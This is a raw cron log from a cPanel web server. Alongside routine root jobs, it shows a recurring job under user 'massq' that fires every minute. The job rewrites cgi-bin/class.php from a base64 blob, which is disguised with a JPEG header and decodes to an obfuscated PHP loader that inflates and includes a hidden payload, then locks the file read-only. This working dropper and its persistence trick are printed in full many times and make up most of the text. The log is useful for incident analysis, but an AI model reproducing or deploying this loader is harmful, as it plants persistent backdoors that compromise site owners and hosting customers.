Sep  4 20:27:01 server CROND[25714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:27:01 server CROND[25715]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 20:27:01 server CROND[25717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:27:01 server CROND[25716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:28:01 server CROND[26102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:28:02 server CROND[26103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:28:02 server CROND[26104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:29:01 server CROND[26478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:29:01 server CROND[26479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:29:01 server CROND[26480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:30:01 server CROND[26880]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 20:30:01 server CROND[26884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:30:01 server CROND[26883]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:30:01 server CROND[26888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:30:01 server CROND[26889]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  4 20:30:01 server CROND[26887]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 20:30:01 server CROND[26891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:30:01 server CROND[26886]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:30:01 server CROND[26885]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 20:31:01 server CROND[27828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:31:01 server CROND[27829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:31:01 server CROND[27830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:32:01 server CROND[28215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:32:01 server CROND[28216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:32:01 server CROND[28217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:33:01 server CROND[28605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:33:01 server CROND[28606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:33:01 server CROND[28607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:34:01 server CROND[28990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:34:01 server CROND[28991]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:34:01 server CROND[28992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:35:01 server CROND[29397]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 20:35:01 server CROND[29398]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 20:35:01 server CROND[29400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:35:01 server CROND[29402]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:35:01 server CROND[29405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:35:01 server CROND[29410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:35:01 server CROND[29407]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 20:35:01 server CROND[29412]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:35:01 server CROND[29411]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 20:36:01 server CROND[30344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:36:01 server CROND[30345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:36:01 server CROND[30346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:37:01 server CROND[30729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:37:01 server CROND[30730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:37:01 server CROND[30731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:38:01 server CROND[31103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:38:01 server CROND[31104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:38:01 server CROND[31105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:39:01 server CROND[31496]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 20:39:01 server CROND[31495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
